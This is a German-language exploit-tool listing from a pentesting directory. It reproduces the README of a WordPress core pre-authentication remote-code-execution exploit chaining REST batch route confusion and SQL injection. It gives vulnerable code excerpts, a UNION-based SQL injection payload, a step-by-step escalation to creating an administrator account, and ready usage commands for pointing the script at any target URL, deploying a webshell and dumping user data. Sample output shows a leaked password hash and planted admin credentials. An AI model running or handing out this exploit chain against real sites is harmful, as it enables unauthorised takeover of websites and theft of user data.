Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-63030 — WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationPayload Development
GitHubshinthink/cve-2026-63030

CVE-2026-63030

WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)

Repository anzeigen
vor 26 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi


Übersicht

CVE-2026-63030 (CVSS 9.8) und CVE-2026-60137 (CVSS 9.1) bilden eine kritische Pre-Authentifizierung-Remote-Code-Execution-Kette im WordPress Core. Die Schwachstellen betreffen alle Standard-WordPress-Installationen der Versionen 6.9.0–6.9.4 und 7.0.0–7.0.1.

Die Kette wurde autonom von GPT-5.6 Sol Ultra (OpenAI) in etwas mehr als 10 Stunden zu Kosten von ca. 25 $ entdeckt – eine Schwachstellenklasse, die auf Exploit-Broker-Märkten mit 500.000 $ bewertet wird.

Ein nicht authentifizierter Angreifer erzielt RCE durch:

  1. REST-Batch-Routenverwirrung (CVE-2026-63030) – Desynchronisierung der internen Handler-zu-Anfrage-Arrays von WordPress
  2. SQL-Injection über author__not_in (CVE-2026-60137) – Umgehung der absint()-Bereinigung mit einem skalaren String
  3. UNION SELECT Cache-Poisoning – Fälschung von 7 gefälschten WP_Post-Objekten im Arbeitsspeicher
  4. oEmbed-Persistenz – Umwandlung von schreibgeschütztem SQLi in echte Datenbankschreibvorgänge
  5. customize_changeset-Übernahme – vorübergehende Entlehnung der Administratoridentität
  6. parse_request-Hook-Wiedereintritt – Wiederholung der REST-API mit erhöhten Rechten
  7. POST /wp/v2/users als Admin – Erstellen eines neuen Administratorkontos

Aktive Installationen: 472+ Millionen (43 % aller Websites)
Entdeckt von: GPT-5.6 Sol Ultra via Adam Kues (Searchlight Cyber), Juli 2026
Chain PoC: Mustafa Can İPEKÇİ (nukedx)
Patch: WordPress 6.9.5 / 7.0.2 / 6.8.6 (17. Juli 2026)

Betroffene Versionen

BranchVerwundbarGefixt
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.xNur SQLi (CVE-2026-60137)6.8.6

Schwachstellenmechanismus

Grundursache 1: Batch-Routenverwirrung (CVE-2026-63030)

Der REST-Batch-Prozessor von WordPress (serve_batch_request_v1) verwaltet zwei Arrays: $validation[] (Validierungsergebnisse) und $matches[] (Routenhandler). Wenn wp_parse_url() bei einem fehlerhaften Pfad (///) fehlschlägt, wird ein WP_Error in die Validierungskette eingefügt, aber nicht in die Routen-Match-Kette:

root@kitploit:~
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SKIPS $matches[] — Desync um einen Index
}

Der Exploit verwendet verschachtelte (rekursive) Batch-Aufrufe, um sowohl Methodenbeschränkungen als auch Parameterbereinigung zu umgehen.

Grundursache 2: SQL-Injection über author__not_in (CVE-2026-60137)

WP_Query wendet die absint()-Bereinigung nur innerhalb des is_array()-Zweigs an. Wenn author__not_in als skalarer String ankommt, wird die Bereinigung vollständig übersprungen:

root@kitploit:~
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // NUR wenn Array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // skalarer Wert wird roh übergeben
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL-INJECTION
}

Payload: 0) UNION ALL SELECT ...-- - schließt die NOT IN-Liste und fügt beliebiges SQL an.

Eskalationskette

root@kitploit:~
[1] Batch-Desync → Auth + Parameterprüfungen umgehen
[2] UNION SELECT → 7 gefälschte WP_Post-Objekte im Cache erzeugen
    ├─ Trigger-Post     — [embed] Shortcode
    ├─ Changeset-Post   — post_type=customize_changeset, post_status=future
    ├─ Äußerer Partner  — post_parent=changeset (Schleife 1)
    ├─ oEmbed-Ziel      — Cache-Backing
    ├─ Nav-Menü-Element — post_type=nav_menu_item
    ├─ Request-Post     — post_type=request, post_status=parse (Schleife 2)
    └─ Innerer Partner  — post_parent=request
[3] oEmbed-Verarbeitung → wp_update_post() → Hierarchie-Zykluserkennung
[4] Schleife 1 behoben → schreibt changeset in die DB, ohne post_content zu überschreiben
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Schleife 2 behoben → schreibt request-Post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → Batch als ADMIN wiederholt
[8] POST /wp/v2/users → Administrator erstellt

Voraussetzungen für vollständiges RCE


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # oder: nichts — nur stdlib

Verwendung

root@kitploit:~
# Vollständige Kette — Admin-Konto erstellen (Pre-Auth)
python3 cve_2026_63030.py --url https://target.com

# Nur Prüfung (nicht destruktiv — Verwundbarkeit bestätigen)
python3 cve_2026_63030.py --url https://target.com --check

# Vollständige Kette + RCE-Webshell bereitstellen
python3 cve_2026_63030.py --url https://target.com --rce id

# Alle Benutzer per UNION-Extraktion auslesen
python3 cve_2026_63030.py --url https://target.com --dump-users

Ausgabe

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Ziel   :  https://target.com
  Modus  :  VOLLSTÄNDIGE KETTE

[SCHRITT 1] Überprüfen des Batch-Endpunkts + Route-Confusion-Desync
  [+] Batch-Endpunkt erreichbar (HTTP 207)
  [+] Desync bestätigt (Marker: parse_path_failed, rest_batch_not_allowed)

[SCHRITT 2] UNION SQLi — Datenbankerkundung
  [+] Datenbankversion  : 8.0.46
  [+] Datenbankbenutzer : wp_user@localhost
  [+] Datenbankname     : wordpress_db
  [+] Tabellenpräfix    : wp_
  [+] Admin-Login       : admin
  [+] Admin-Hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin-Benutzer-ID : 1

[SCHRITT 3] Neuen Administrator via oEmbed-Post-Cache-Vergiftung erstellen
  [*] oEmbed-Cache mit 3 Loopback-URLs füllen...
  [+] oEmbed-Cache-IDs: [6, 7, 8]
  [*] Changeset-Vergiftung + Benutzererstellung einreichen...
  [+] Admin erstellt -- Benutzername: wp2_a1b2c3d4  Passwort: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOIT ABGESCHLOSSEN                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php

Dateien

DateiZweck
cve_2026_63030.pySingle-Target-Exploit (keine Abhängigkeiten)
requirements.txtPython-Abhängigkeiten (keine erforderlich)

Referenzen

  • SLCyber — GPT-5.6 Sol Entdeckungsbericht
  • WordPress.org — Sicherheitsveröffentlichung
  • Wiz — Ausnutzung in freier Wildbahn
  • Tenable — FAQ

Haftungsausschluss

Nur für autorisierte Sicherheitstests und Bildungsforschung. Die Autoren übernehmen keine Haftung für Missbrauch.

Tool herunterladen
AnforderungWarum?Standard?
Mindestens 1 veröffentlichter BeitragVersorgt oEmbed-Cache mit Loopback-URLs✅ "Hallo Welt"
Kein persistenter Objekt-CacheUNION-Zeilen dürfen nicht durch split_the_query verworfen werden✅ Datei-Cache
REST-API erreichbarWiedereintritt über parse_request benötigt REST-Server✅
Direkter DateisystemzugriffPlugin-Upload benötigt FS_METHOD=direct✅ Die meisten Hosts